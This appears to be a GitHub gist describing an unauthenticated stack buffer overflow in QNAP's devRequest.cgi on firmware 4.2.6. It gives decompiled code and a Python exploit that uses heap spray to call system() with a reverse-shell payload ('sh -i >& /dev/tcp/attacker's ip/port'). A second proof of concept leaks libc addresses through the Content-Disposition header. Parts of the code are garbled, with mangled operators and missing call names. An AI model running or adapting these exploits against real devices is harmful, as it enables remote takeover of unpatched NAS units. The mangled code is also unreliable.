Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
I recently noticed a bug in QNAP. I have patched this bug on the latest patch. (I did not report it.) My environment was TS-210 and the vulnerability was in devRequest.cgi
And this bug does not require authentication by default.
v0 = CGI_Get_Input();
dword_27FEC = v0;
v1 = CGI_Find_Parameter(v0, "todo");
if ( v1 && !strcmp(*(const char **)(v1 + 4), "get_keyfile") && (v2 = CGI_Find_Parameter(dword_27FEC, "password")) != 0 )
Encode_External_key(*(_DWORD *)(v2 + 4), (int)&v21);
This code indicates that the password argument is used as an argument to the Encode_External_key function.
int _fastcall Encode_External_key (int a1, char * a2)
char * dest; // ST00_4
int v4; // [sp + 8h] [bp-414h]
int v5; // [sp + 40Ch] [bp-10h]
dest = a2;
v5 = Encode_User_Key_Ex ((char *) a1);
strncpy (dest, (const char *) & v4, 0x404u);
This function calls the Encode_User_Key_Ex function again.
signed int __fastcall Encode_User_Key_Ex(char *a1, char *a2)
int v3; // [sp+4h] [bp-238h]
char *s; // [sp+10h] [bp-22Ch]
const char *src; // [sp+14h] [bp-228h]
__int16 v7; // [sp+1Eh] [bp-21Eh]
char v8; // [sp+11Fh] [bp-11Dh]
int v9; // [sp+220h] [bp-1Ch]
int i; // [sp+224h] [bp-18h]
int j; // [sp+228h] [bp-14h]
void *ptr; // [sp+22Ch] [bp-10h]
char v13[12]; // [sp+230h] [bp-Ch]
src = a1;
s = a2;
ptr = 0;
if ( !a1 )
return -1;
ptr = calloc(1u, 257u);
if ( !ptr )
return -1;
strcpy(&v8, src);
v9 = strlen(&v8);
And we can confirm that there is a stack overflow by strcpy function in Encode_User_Key_Ex.
Here is the exploit code. Basically, there are aslr, NX.
SP register is modulated by LDMFD SP, {R11, SP, PC}. So we could not use the POP gadget unless we knew the address on the stack, and we used Heapspary after all. (This is possible because the parameters received by the user are stored in the heap!)
Here is the exploit code.
import struct
import requests
def main ():
with requests.Session () as s:
payload = "A" * 273
payload + = struct.pack ("<I", 0xb63cd111) * 2 # this is heap address
payload + = struct.pack ("<I", 0x126BC) # call system function
#uid is parameter for heap spary and system arg
params = {"todo": "get_keyfile", "password": payload, "uid": "sh -i> & /dev/tcp/attacker's ip/port 0> & 1;" * 0x10000} ("http://ip:8080/cgi-bin/devices/devRequest.cgi", params)
if __name __ == '__ main__':
main ()
There is other bugs that can libc leak:
v1 = CGI_Find_Parameter(v0, "todo");
if ( v1 && !strcmp(*(const char **)(v1 + 4), "get_keyfile") && (v2 = CGI_Find_Parameter(dword_27FEC, "password")) != 0 )
Encode_External_key(*(_DWORD *)(v2 + 4), (int)&v21);
v3 = CGI_Find_Parameter(dword_27FEC, "uid");
if ( v3 )
strncpy(&v22, *(const char **)(v3 + 4), 0x101u);
printf("Content-Disposition: attachment;filename=%s.key\n", &v22);
printf("Content-type: application/unknown%c%c%c%c");
The strncpy function should be used by default as follows: strncpy(dest, str, dest - 1). Otherwise, it can cause a bug. Unfortunately, this is the case. The stack area contains the library address, and the library address can be obtained via printf("Content-Disposition: attachment;filename=%s.key\n", &v22);
The following is the PoC code.
import requests
from pwn import *
def leak():
params = {"todo" : "get_keyfile", "password" : "passw0rd", "uid" : "A" * 0x500000}
r ="http://ip:8080/cgi-bin/devices/devRequest.cgi", params=params)
leak = r.headers['Content-Disposition']
leak = leak.split("A" * 0x101)[1]
leak = u32(leak[0:4])
libc = leak - 128536"leak: " + hex(leak))" base: " + hex(libc))
- You can get the address of all libraries as well as the library.
- 4.2.6 build Valid for versions below 20170905.
- contact @pwning_me on twitter
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.